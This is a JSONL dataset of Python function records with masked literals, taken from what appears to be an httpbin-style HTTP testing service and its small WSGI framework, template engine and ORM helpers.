{"signature": "@app.route('<STR_LIT>')<EOL>def view_html_page(request):", "body": "return render_template('<STR_LIT>')<EOL>", "docstring": "Simple Html Page", "id": "f13765:m3"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_robots_page(request):", "body": "response = Response()<EOL>response.content = ROBOT_TXT<EOL>response.content_type = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Simple Html Page", "id": "f13765:m4"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_deny_page(request):", "body": "response = Response()<EOL>response.content = ANGRY_ASCII<EOL>response.content_type = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Simple Html Page", "id": "f13765:m5"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_origin(request):", "body": "return jsonify(origin=request.headers.get('<STR_LIT>',<EOL>request.remote_addr))<EOL>", "docstring": "Returns Origin IP.", "id": "f13765:m6"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_headers(request):", "body": "return jsonify(get_dict(request, '<STR_LIT>'))<EOL>", "docstring": "Returns HTTP HEADERS.", "id": "f13765:m7"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_user_agent(request):", "body": "headers = get_headers(request)<EOL>return jsonify({'<STR_LIT>': headers['<STR_LIT>']})<EOL>", "docstring": "Returns User-Agent.", "id": "f13765:m8"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT:GET>', '<STR_LIT>'))<EOL>def view_get(request):", "body": "return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns GET Data.", "id": "f13765:m9"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT:POST>',))<EOL>def view_post(request):", "body": "return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns POST Data.", "id": "f13765:m10"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT>',))<EOL>def view_put(request):", "body": "return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns PUT Data.", "id": "f13765:m11"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT>',))<EOL>def view_patch(request):", "body": "return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns PATCH Data.", "id": "f13765:m12"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT>',))<EOL>def view_delete(request):", "body": "return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns DELETE Data.", "id": "f13765:m13"}
{"signature": "@app.route('<STR_LIT>')<EOL>@filters.gzip<EOL>def view_gzip_encoded_content(request):", "body": "return jsonify(get_dict(request, '<STR_LIT>', '<STR_LIT>',<EOL>method=request.method, gzipped=True))<EOL>", "docstring": "Returns GZip-Encoded Data.", "id": "f13765:m14"}
{"signature": "@app.route('<STR_LIT>')<EOL>@filters.deflate<EOL>def view_deflate_encoded_content(request):", "body": "return jsonify(get_dict(request, '<STR_LIT>', '<STR_LIT>',<EOL>method=request.method, deflated=True))<EOL>", "docstring": "Returns Deflate-Encoded Data.", "id": "f13765:m15"}
{"signature": "@app.route('<STR_LIT>')<EOL>def redirect_n_times(request, n):", "body": "n = int(n)<EOL>assert n > <NUM_LIT:0><EOL>absolute = request.args.get('<STR_LIT>', '<STR_LIT:false>').lower() == '<STR_LIT:true>'<EOL>if n == <NUM_LIT:1>:<EOL><INDENT>return redirect(app.url_for('<STR_LIT>', _request=request,<EOL>_external=absolute))<EOL><DEDENT>if absolute:<EOL><INDENT>return _redirect(request, '<STR_LIT>', n, True)<EOL><DEDENT>else:<EOL><INDENT>return _redirect(request, '<STR_LIT>', n, False)<EOL><DEDENT>", "docstring": "302 Redirects n times.", "id": "f13765:m16"}
{"signature": "@app.route('<STR_LIT>')<EOL>def redirect_to(request):", "body": "args = CaseInsensitiveDict(request.args.items())<EOL>response = Response('<STR_LIT>')<EOL>response.status_code = <NUM_LIT><EOL>response.headers['<STR_LIT>'] = args['<STR_LIT:url>'].encode('<STR_LIT:utf-8>')<EOL>return response<EOL>", "docstring": "302 Redirects to the given URL.", "id": "f13765:m18"}
{"signature": "@app.route('<STR_LIT>')<EOL>def relative_redirect_n_times(request, n):", "body": "n = int(n)<EOL>assert n > <NUM_LIT:0><EOL>response = Response('<STR_LIT>')<EOL>response.status_code = <NUM_LIT><EOL>if n == <NUM_LIT:1>:<EOL><INDENT>response.headers['<STR_LIT>'] = url_for('<STR_LIT>')<EOL>return response<EOL><DEDENT>response.headers['<STR_LIT>'] = app.url_for(<EOL>'<STR_LIT>', n=n - <NUM_LIT:1><EOL>)<EOL>return response<EOL>", "docstring": "302 Redirects n times.", "id": "f13765:m19"}
{"signature": "@app.route('<STR_LIT>')<EOL>def absolute_redirect_n_times(request, n):", "body": "n = int(n)<EOL>assert n > <NUM_LIT:0><EOL>if n == <NUM_LIT:1>:<EOL><INDENT>return redirect(app.url_for('<STR_LIT>', _request=request,<EOL>_external=True))<EOL><DEDENT>return _redirect(request, '<STR_LIT>', n, True)<EOL>", "docstring": "302 Redirects n times.", "id": "f13765:m20"}
{"signature": "@app.route('<STR_LIT>')<EOL>def stream_n_messages(request, n):", "body": "n = int(n)<EOL>response = get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT>')<EOL>n = min(n, <NUM_LIT:100>)<EOL>def generate_stream():<EOL><INDENT>for i in range(n):<EOL><INDENT>response['<STR_LIT:id>'] = i<EOL>yield json.dumps(response, default=json_dumps_default) + '<STR_LIT:\\n>'<EOL><DEDENT><DEDENT>return Response(generate_stream(), headers={<EOL>'<STR_LIT:Content-Type>': '<STR_LIT:application/json>',<EOL>})<EOL>", "docstring": "Stream n JSON messages", "id": "f13765:m21"}
{"signature": "@app.route('<STR_LIT>',<EOL>methods=['<STR_LIT:GET>', '<STR_LIT:POST>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>def view_status_code(request, codes):", "body": "if '<STR_LIT:U+002C>' not in codes:<EOL><INDENT>code = int(codes)<EOL>return status_code(code)<EOL><DEDENT>choices = []<EOL>for choice in codes.split('<STR_LIT:U+002C>'):<EOL><INDENT>if '<STR_LIT::>' not in choice:<EOL><INDENT>code = choice<EOL>weight = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>code, weight = choice.split('<STR_LIT::>')<EOL><DEDENT>choices.append((int(code), float(weight)))<EOL><DEDENT>code = weighted_choice(choices)<EOL>return status_code(code)<EOL>", "docstring": "Return status code or random status code if more than one are given", "id": "f13765:m22"}
{"signature": "@app.route('<STR_LIT>')<EOL>def response_headers(request):", "body": "headers = Headers(request.args.to_dict())<EOL>response = jsonify(headers)<EOL>while True:<EOL><INDENT>content_len_shown = response.headers['<STR_LIT>']<EOL>d = {}<EOL>for key in response.headers.keys():<EOL><INDENT>value = response.headers.get_all(key)<EOL>if len(value) == <NUM_LIT:1>:<EOL><INDENT>value = value[<NUM_LIT:0>]<EOL><DEDENT>d[key] = value<EOL><DEDENT>response = jsonify(d)<EOL>for key, value in headers.to_list():<EOL><INDENT>response.headers.add(key, value)<EOL><DEDENT>if response.headers['<STR_LIT>'] == content_len_shown:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return response<EOL>", "docstring": "Returns a set of response headers from the query string", "id": "f13765:m23"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_cookies(request, hide_env=True):", "body": "cookies = dict(request.cookies.items())<EOL>if hide_env and ('<STR_LIT>' not in request.args):<EOL><INDENT>for key in ENV_COOKIES:<EOL><INDENT>try:<EOL><INDENT>del cookies[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return jsonify(cookies=cookies)<EOL>", "docstring": "Returns cookie data.", "id": "f13765:m24"}
{"signature": "@app.route('<STR_LIT>')<EOL>def view_forms_post(request):", "body": "return render_template('<STR_LIT>')<EOL>", "docstring": "Simple HTML form.", "id": "f13765:m25"}
{"signature": "@app.route('<STR_LIT>')<EOL>def set_cookie(request, name, value):", "body": "r = app.make_response(redirect(url_for('<STR_LIT>')))<EOL>r.set_cookie(key=name, value=value, secure=secure_cookie(request))<EOL>return r<EOL>", "docstring": "Sets a cookie and redirects to cookie list.", "id": "f13765:m26"}
{"signature": "@app.route('<STR_LIT>')<EOL>def set_cookies(request):", "body": "cookies = dict(request.args.items())<EOL>r = app.make_response(redirect(url_for('<STR_LIT>')))<EOL>for key, value in cookies.items():<EOL><INDENT>r.set_cookie(key=key, value=value, secure=secure_cookie(request))<EOL><DEDENT>return r<EOL>", "docstring": "Sets cookie(s) as provided by the query string\n    and redirects to cookie list.", "id": "f13765:m27"}
{"signature": "@app.route('<STR_LIT>')<EOL>def delete_cookies(request):", "body": "cookies = dict(request.args.items())<EOL>r = app.make_response(redirect(url_for('<STR_LIT>')))<EOL>for key, value in cookies.items():<EOL><INDENT>r.delete_cookie(key=key)<EOL><DEDENT>return r<EOL>", "docstring": "Deletes cookie(s) as provided by the query string\n    and redirects to cookie list.", "id": "f13765:m28"}
{"signature": "@app.route('<STR_LIT>')<EOL>def basic_auth(request, user='<STR_LIT:user>', passwd='<STR_LIT>'):", "body": "if not check_basic_auth(request, user, passwd):<EOL><INDENT>return status_code(<NUM_LIT>)<EOL><DEDENT>return jsonify(authenticated=True, user=user)<EOL>", "docstring": "Prompts the user for authorization using HTTP Basic Auth.", "id": "f13765:m29"}
{"signature": "@app.route('<STR_LIT>')<EOL>def hidden_basic_auth(request, user='<STR_LIT:user>', passwd='<STR_LIT>'):", "body": "if not check_basic_auth(request, user, passwd):<EOL><INDENT>return status_code(<NUM_LIT>)<EOL><DEDENT>return jsonify(authenticated=True, user=user)<EOL>", "docstring": "Prompts the user for authorization using HTTP Basic Auth.", "id": "f13765:m30"}
{"signature": "@app.route('<STR_LIT>')<EOL>def digest_auth(request, qop=None, user='<STR_LIT:user>', passwd='<STR_LIT>'):", "body": "if qop not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>qop = None<EOL><DEDENT>if '<STR_LIT>' not in request.headers ornot check_digest_auth(user, passwd) or'<STR_LIT>' not in request.headers:<EOL><INDENT>response = app.make_response('<STR_LIT>')<EOL>response.status_code = <NUM_LIT><EOL>nonce = H(b'<STR_LIT>'.join([<EOL>getattr(request, '<STR_LIT>', u'<STR_LIT>').encode('<STR_LIT:ascii>'),<EOL>b'<STR_LIT::>',<EOL>str(time.time()).encode('<STR_LIT:ascii>'),<EOL>b'<STR_LIT::>',<EOL>os.urandom(<NUM_LIT:10>)<EOL>]))<EOL>opaque = H(os.urandom(<NUM_LIT:10>))<EOL>auth = WWWAuthenticate('<STR_LIT>')<EOL>auth.set_digest('<STR_LIT>', nonce, opaque=opaque,<EOL>qop=('<STR_LIT>', '<STR_LIT>') if qop is None else (qop, ))<EOL>response.headers['<STR_LIT>'] = auth.to_header()<EOL>response.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>return response<EOL><DEDENT>return jsonify(authenticated=True, user=user)<EOL>", "docstring": "Prompts the user for authorization using HTTP Digest auth", "id": "f13765:m31"}
{"signature": "@app.route('<STR_LIT>')<EOL>def delay_response(request, delay):", "body": "delay = min(float(delay), <NUM_LIT:10>)<EOL>time.sleep(delay)<EOL>return jsonify(get_dict(request, '<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Returns a delayed response", "id": "f13765:m32"}
{"signature": "@app.route('<STR_LIT>')<EOL>def drip(request):", "body": "args = CaseInsensitiveDict(request.args.items())<EOL>duration = float(args.get('<STR_LIT>', <NUM_LIT:2>))<EOL>numbytes = int(args.get('<STR_LIT>', <NUM_LIT:10>))<EOL>code = int(args.get('<STR_LIT:code>', <NUM_LIT:200>))<EOL>pause = duration / numbytes<EOL>delay = float(args.get('<STR_LIT>', <NUM_LIT:0>))<EOL>if delay > <NUM_LIT:0>:<EOL><INDENT>time.sleep(delay)<EOL><DEDENT>def generate_bytes():<EOL><INDENT>for i in xrange(numbytes):<EOL><INDENT>yield u'<STR_LIT:*>'.encode('<STR_LIT:utf-8>')<EOL>time.sleep(pause)<EOL><DEDENT><DEDENT>response = Response(generate_bytes(), headers={<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>',<EOL>'<STR_LIT>': str(numbytes),<EOL>})<EOL>response.status_code = code<EOL>return response<EOL>", "docstring": "Drips data over a duration after an optional initial delay.", "id": "f13765:m33"}
{"signature": "@app.route('<STR_LIT>')<EOL>def decode_base64(request, value):", "body": "encoded = value.encode('<STR_LIT:utf-8>')  <EOL>return base64.urlsafe_b64decode(encoded).decode('<STR_LIT:utf-8>')<EOL>", "docstring": "Decodes base64url-encoded string", "id": "f13765:m34"}
{"signature": "@app.route('<STR_LIT>', methods=('<STR_LIT:GET>',))<EOL>def cache(request):", "body": "is_conditional = (<EOL>request.headers.get('<STR_LIT>') or<EOL>request.headers.get('<STR_LIT>')<EOL>)<EOL>if is_conditional is None:<EOL><INDENT>response = view_get(request)<EOL>response.headers['<STR_LIT>'] = http_date()<EOL>response.headers['<STR_LIT>'] = uuid.uuid4().hex<EOL>return response<EOL><DEDENT>else:<EOL><INDENT>return status_code(<NUM_LIT>)<EOL><DEDENT>", "docstring": "Returns a 304 if an If-Modified-Since header or\n    If-None-Match is present. Returns the same as a GET otherwise.", "id": "f13765:m35"}
{"signature": "@app.route('<STR_LIT>')<EOL>def cache_control(request, value):", "body": "value = int(value)<EOL>response = view_get(request)<EOL>response.headers['<STR_LIT>'] = '<STR_LIT>'.format(value)<EOL>return response<EOL>", "docstring": "Sets a Cache-Control header.", "id": "f13765:m36"}
{"signature": "@app.route('<STR_LIT>')<EOL>def random_bytes(request, n):", "body": "n = int(n)<EOL>n = min(n, <NUM_LIT:100> * <NUM_LIT>)  <EOL>params = CaseInsensitiveDict(request.args.items())<EOL>if '<STR_LIT>' in params:<EOL><INDENT>random.seed(int(params['<STR_LIT>']))<EOL><DEDENT>response = Response()<EOL>response.data = bytearray(random.randint(<NUM_LIT:0>, <NUM_LIT:255>) for i in range(n))<EOL>response.content_type = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Returns n random bytes generated with given seed.", "id": "f13765:m38"}
{"signature": "@app.route('<STR_LIT>')<EOL>def stream_random_bytes(request, n):", "body": "n = int(n)<EOL>n = min(n, <NUM_LIT:100> * <NUM_LIT>)  <EOL>params = CaseInsensitiveDict(request.args.items())<EOL>if '<STR_LIT>' in params:<EOL><INDENT>random.seed(int(params['<STR_LIT>']))<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>chunk_size = max(<NUM_LIT:1>, int(params['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>chunk_size = <NUM_LIT:10> * <NUM_LIT><EOL><DEDENT>def generate_bytes():<EOL><INDENT>chunks = bytearray()<EOL>for i in xrange(n):<EOL><INDENT>chunks.append(random.randint(<NUM_LIT:0>, <NUM_LIT:255>))<EOL>if len(chunks) == chunk_size:<EOL><INDENT>yield(bytes(chunks))<EOL>chunks = bytearray()<EOL><DEDENT><DEDENT>if chunks:<EOL><INDENT>yield(bytes(chunks))<EOL><DEDENT><DEDENT>headers = {'<STR_LIT:Content-Type>': '<STR_LIT>'}<EOL>return Response(generate_bytes(), headers=headers)<EOL>", "docstring": "Streams n random bytes generated with given seed,\n    at given chunk size per packet.", "id": "f13765:m39"}
{"signature": "@app.route('<STR_LIT>')<EOL>def range_request(request, numbytes):", "body": "numbytes = int(numbytes)<EOL>if numbytes <= <NUM_LIT:0> or numbytes > (<NUM_LIT:100> * <NUM_LIT>):<EOL><INDENT>response = Response(headers={<EOL>'<STR_LIT>': '<STR_LIT>' % numbytes,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>response.status_code = <NUM_LIT><EOL>response.content = '<STR_LIT>'<EOL>return response<EOL><DEDENT>params = CaseInsensitiveDict(request.args.items())<EOL>if '<STR_LIT>' in params:<EOL><INDENT>chunk_size = max(<NUM_LIT:1>, int(params['<STR_LIT>']))<EOL><DEDENT>else:<EOL><INDENT>chunk_size = <NUM_LIT:10> * <NUM_LIT><EOL><DEDENT>duration = float(params.get('<STR_LIT>', <NUM_LIT:0>))<EOL>pause_per_byte = duration / numbytes<EOL>request_headers = get_headers(request)<EOL>first_byte_pos, last_byte_pos = get_request_range(request_headers,<EOL>numbytes)<EOL>if (<EOL>first_byte_pos > last_byte_pos or<EOL>first_byte_pos not in xrange(<NUM_LIT:0>, numbytes) or<EOL>last_byte_pos not in xrange(<NUM_LIT:0>, numbytes)<EOL>):<EOL><INDENT>response = Response(headers={<EOL>'<STR_LIT>': '<STR_LIT>' % numbytes,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>' % numbytes<EOL>})<EOL>response.status_code = <NUM_LIT><EOL>return response<EOL><DEDENT>def generate_bytes():<EOL><INDENT>chunks = bytearray()<EOL>for i in xrange(first_byte_pos, last_byte_pos + <NUM_LIT:1>):<EOL><INDENT>chunks.append(ord('<STR_LIT:a>') + (i % <NUM_LIT>))<EOL>if len(chunks) == chunk_size:<EOL><INDENT>yield(bytes(chunks))<EOL>time.sleep(pause_per_byte * chunk_size)<EOL>chunks = bytearray()<EOL><DEDENT><DEDENT>if chunks:<EOL><INDENT>time.sleep(pause_per_byte * len(chunks))<EOL>yield(bytes(chunks))<EOL><DEDENT><DEDENT>content_range = '<STR_LIT>' % (first_byte_pos, last_byte_pos,<EOL>numbytes)<EOL>response_headers = {<EOL>'<STR_LIT:Content-Type>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>' % numbytes,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': content_range}<EOL>response = Response(generate_bytes(), headers=response_headers)<EOL>if (first_byte_pos == <NUM_LIT:0>) and (last_byte_pos == (numbytes - <NUM_LIT:1>)):<EOL><INDENT>response.status_code = <NUM_LIT:200><EOL><DEDENT>else:<EOL><INDENT>response.status_code = <NUM_LIT><EOL><DEDENT>return response<EOL>", "docstring": "Streams n random bytes generated with given seed,\n    at given chunk size per packet.", "id": "f13765:m40"}
{"signature": "@app.route('<STR_LIT>')<EOL>def link_page(request, n, offset):", "body": "n = int(n)<EOL>offset = int(offset)<EOL>n = min(max(<NUM_LIT:1>, n), <NUM_LIT:200>)  <EOL>link = \"<STR_LIT>\"<EOL>html = ['<STR_LIT>']<EOL>for i in xrange(n):<EOL><INDENT>if i == offset:<EOL><INDENT>html.append('<STR_LIT>'.format(i))<EOL><DEDENT>else:<EOL><INDENT>html.append(link.format(url_for('<STR_LIT>', n=n, offset=i), i))<EOL><DEDENT><DEDENT>html.append('<STR_LIT>')<EOL>return '<STR_LIT>'.join(html)<EOL>", "docstring": "Generate a page containing n links to other pages which do the same.", "id": "f13765:m41"}
{"signature": "@app.route('<STR_LIT>')<EOL>def links(request, n):", "body": "n = int(n)<EOL>return redirect(url_for('<STR_LIT>', n=n, offset=<NUM_LIT:0>))<EOL>", "docstring": "Redirect to first links page.", "id": "f13765:m42"}
{"signature": "@app.route('<STR_LIT>')<EOL>def image(request):", "body": "headers = get_headers(request)<EOL>if '<STR_LIT>' not in headers:<EOL><INDENT>return image_png(request)  <EOL><DEDENT>accept = headers['<STR_LIT>'].lower()<EOL>if '<STR_LIT>' in accept:<EOL><INDENT>return image_webp(request)<EOL><DEDENT>elif '<STR_LIT>' in accept:<EOL><INDENT>return image_svg(request)<EOL><DEDENT>elif '<STR_LIT>' in accept:<EOL><INDENT>return image_jpeg(request)<EOL><DEDENT>elif '<STR_LIT>' in accept or '<STR_LIT>' in accept:<EOL><INDENT>return image_png(request)<EOL><DEDENT>else:<EOL><INDENT>return status_code(<NUM_LIT>)<EOL><DEDENT>", "docstring": "Returns a simple image of the type suggest by the Accept header.", "id": "f13765:m43"}
{"signature": "def weighted_choice(choices):", "body": "values, weights = zip(*choices)<EOL>total = <NUM_LIT:0><EOL>cum_weights = []<EOL>for w in weights:<EOL><INDENT>total += w<EOL>cum_weights.append(total)<EOL><DEDENT>x = random.uniform(<NUM_LIT:0>, total)<EOL>i = bisect.bisect(cum_weights, x)<EOL>return values[i]<EOL>", "docstring": "Returns a value from choices chosen by weighted random selection\n\n    choices should be a list of (value, weight) tuples.\n\n    eg. weighted_choice([('val1', 5), ('val2', 0.3), ('val3', 1)])", "id": "f13766:m0"}
{"signature": "def setup_environ(self):", "body": "<EOL>env = self.base_environ = {}<EOL>env['<STR_LIT>'] = self.server_name<EOL>env['<STR_LIT>'] = '<STR_LIT>'<EOL>env['<STR_LIT>'] = str(self.server_port)<EOL>env['<STR_LIT>'] = '<STR_LIT>'<EOL>env['<STR_LIT>'] = '<STR_LIT>'<EOL>env['<STR_LIT>'] = '<STR_LIT>'<EOL>", "docstring": "https://www.python.org/dev/peps/pep-0333/#environ-variables", "id": "f13788:c0:m3"}
{"signature": "def get_environ(self):", "body": "env = self.base_environ.copy()<EOL>env['<STR_LIT>'] = self.request_method<EOL>if '<STR_LIT:?>' in self.path:<EOL><INDENT>path, query = self.path.split('<STR_LIT:?>', <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>path, query = self.path, '<STR_LIT>'<EOL><DEDENT>env['<STR_LIT>'] = urllib.parse.unquote(path)<EOL>env['<STR_LIT>'] = query<EOL>env['<STR_LIT>'] = self.headers.get('<STR_LIT:Content-Type>', '<STR_LIT>')<EOL>env['<STR_LIT>'] = self.headers.get('<STR_LIT>', '<STR_LIT:0>')<EOL>env['<STR_LIT>'] = self.request_version<EOL>env['<STR_LIT>'] = self.client_address[<NUM_LIT:0>]<EOL>env['<STR_LIT>'] = self.client_address[<NUM_LIT:1>]<EOL>env['<STR_LIT>'] = (<NUM_LIT:1>, <NUM_LIT:0>)<EOL>env['<STR_LIT>'] = '<STR_LIT:http>'<EOL>env['<STR_LIT>'] = io.BytesIO(self.raw_request)<EOL>env['<STR_LIT>'] = sys.stderr<EOL>env['<STR_LIT>'] = False<EOL>env['<STR_LIT>'] = True<EOL>env['<STR_LIT>'] = False<EOL>for k, v in self.headers.items():<EOL><INDENT>k = k.replace('<STR_LIT:->', '<STR_LIT:_>').upper()<EOL>if k in env:<EOL><INDENT>continue<EOL><DEDENT>env['<STR_LIT>' + k] = v<EOL><DEDENT>return env<EOL>", "docstring": "https://www.python.org/dev/peps/pep-0333/#environ-variables", "id": "f13788:c0:m10"}
{"signature": "def get_func(self, path):", "body": "for url_match, func_pair in self._urls_regex_map.items():<EOL><INDENT>m = url_match.match(path)<EOL>if m is not None:<EOL><INDENT>return func_pair.func, func_pair.methods, m.groupdict()<EOL><DEDENT><DEDENT>return None, None, None<EOL>", "docstring": ":return: (func, methods)", "id": "f13789:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def _replace_type_to_regex(cls, match):<DEDENT>", "body": "groupdict = match.groupdict()<EOL>_type = groupdict.get('<STR_LIT:type>')<EOL>type_regex = cls.TYPE_REGEX_MAP.get(_type, '<STR_LIT>')<EOL>name = groupdict.get('<STR_LIT:name>')<EOL>return r'<STR_LIT>'.format(<EOL>name=name, type_regex=type_regex<EOL>)<EOL>", "docstring": "/<int:id>  -> r'(?P<id>\\d+)", "id": "f13789:c1:m3"}
{"signature": "def cookie_dump(key, value='<STR_LIT>', max_age=None, expires=None, path='<STR_LIT:/>',<EOL>domain=None, secure=False, httponly=False):", "body": "cookie = SimpleCookie()<EOL>cookie[key] = value<EOL>for attr in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:path>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>attr_key = attr.replace('<STR_LIT:_>', '<STR_LIT:->')<EOL>attr_value = locals()[attr]<EOL>if attr_value:<EOL><INDENT>cookie[key][attr_key] = attr_value<EOL><DEDENT><DEDENT>return cookie<EOL>", "docstring": ":rtype: ``Cookie.SimpleCookie``", "id": "f13791:m0"}
{"signature": "def response_status_string(code):", "body": "mean = HTTP_STATUS_CODES.get(code, '<STR_LIT>').upper()<EOL>return '<STR_LIT>'.format(code=code, mean=mean)<EOL>", "docstring": "e.g. ``200 OK``", "id": "f13791:m1"}
{"signature": "@property<EOL><INDENT>def method(self):<DEDENT>", "body": "return self.environ['<STR_LIT>']<EOL>", "docstring": "``GET``, ``POST`` etc.", "id": "f13791:c0:m1"}
{"signature": "@property<EOL><INDENT>def cookies(self):<DEDENT>", "body": "http_cookie = self.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>_cookies = {<EOL>k: v.value<EOL>for (k, v) in SimpleCookie(http_cookie).items()<EOL>}<EOL>return _cookies<EOL>", "docstring": "Request cookies\n\n        :rtype: dict", "id": "f13791:c0:m11"}
{"signature": "@property<EOL><INDENT>def is_ajax(self):<DEDENT>", "body": "requested_with = self.headers.get('<STR_LIT>', '<STR_LIT>').lower()<EOL>return requested_with == '<STR_LIT>'<EOL>", "docstring": "The ``X-Requested-With`` header equal to ``HttpRequest``", "id": "f13791:c0:m20"}
{"signature": "def _exec(self, globals_dict=None):", "body": "globals_dict = globals_dict or {}<EOL>globals_dict.setdefault('<STR_LIT>', {})<EOL>exec(self._code, globals_dict)<EOL>return globals_dict<EOL>", "docstring": "exec compiled code", "id": "f13792:c0:m6"}
{"signature": "def handle_extends(self, text):", "body": "match = self.re_extends.match(text)<EOL>if match:<EOL><INDENT>extra_text = self.re_extends.sub('<STR_LIT>', text, count=<NUM_LIT:1>)<EOL>blocks = self.get_blocks(extra_text)<EOL>path = os.path.join(self.base_dir, match.group('<STR_LIT:path>'))<EOL>with open(path, encoding='<STR_LIT:utf-8>') as fp:<EOL><INDENT>return self.replace_blocks_in_extends(fp.read(), blocks)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "replace all blocks in extends with current blocks", "id": "f13792:c1:m9"}
{"signature": "def flush_buffer(self):", "body": "self.code_builder.add_line('<STR_LIT>',<EOL>self.result_var, '<STR_LIT:U+002C>'.join(self.buffered))<EOL>self.buffered = []<EOL>", "docstring": "flush all buffered string into code", "id": "f13792:c1:m13"}
{"signature": "def strip_token(self, text, start, end):", "body": "text = text.replace(start, '<STR_LIT>', <NUM_LIT:1>)<EOL>text = text.replace(end, '<STR_LIT>', <NUM_LIT:1>)<EOL>return text<EOL>", "docstring": "{{ a }} -> a", "id": "f13792:c1:m14"}
{"signature": "def cleanup_extra_whitespaces(self, text):", "body": "return re.sub(r'<STR_LIT>', r'<STR_LIT>', text)<EOL>", "docstring": "cleanup extra whitespaces let numbers of whitespaces <=1", "id": "f13792:c1:m15"}
{"signature": "def not_in(self, value):", "body": "return '<STR_LIT>'.format(self), value<EOL>", "docstring": ":type value: tuple", "id": "f13797:c1:m13"}
{"signature": "def in_(self, value):", "body": "return '<STR_LIT>'.format(self), value<EOL>", "docstring": ":type value: tuple", "id": "f13797:c1:m14"}
{"signature": "@classmethod<EOL><INDENT>def __prepare__(cls, name, bases):<DEDENT>", "body": "return collections.OrderedDict()<EOL>", "docstring": "\u8ba9 attr_dict \u6709\u5e8f", "id": "f13797:c2:m1"}
{"signature": "def url_resolve(self, path):", "body": "return self._router.get_func(path)<EOL>", "docstring": "url -> view\n\n        :return: (func, methods, func_kwargs)", "id": "f13798:c0:m4"}
{"signature": "def __call__(self, environ, start_response):", "body": "self.start_response = start_response<EOL>path = environ['<STR_LIT>']<EOL>method = environ['<STR_LIT>']<EOL>func, methods, func_kwargs = self.url_resolve(path)<EOL>try:<EOL><INDENT>if func is None:<EOL><INDENT>self.notfound()<EOL><DEDENT>if method not in methods:<EOL><INDENT>self.abort(<NUM_LIT>)<EOL><DEDENT>request = Request(environ)<EOL>result = self.handle_before_request_hooks(request, view_func=func)<EOL>if isinstance(result, Response):<EOL><INDENT>response = result<EOL><DEDENT>else:<EOL><INDENT>response = self.handle_view(request, func, func_kwargs)<EOL><DEDENT>self.handle_after_request_hooks(request, response, view_func=func)<EOL><DEDENT>except HTTPException as ex:<EOL><INDENT>response = ex.response<EOL><DEDENT>return self._start_response(response)<EOL>", "docstring": "for wsgi server", "id": "f13798:c0:m5"}
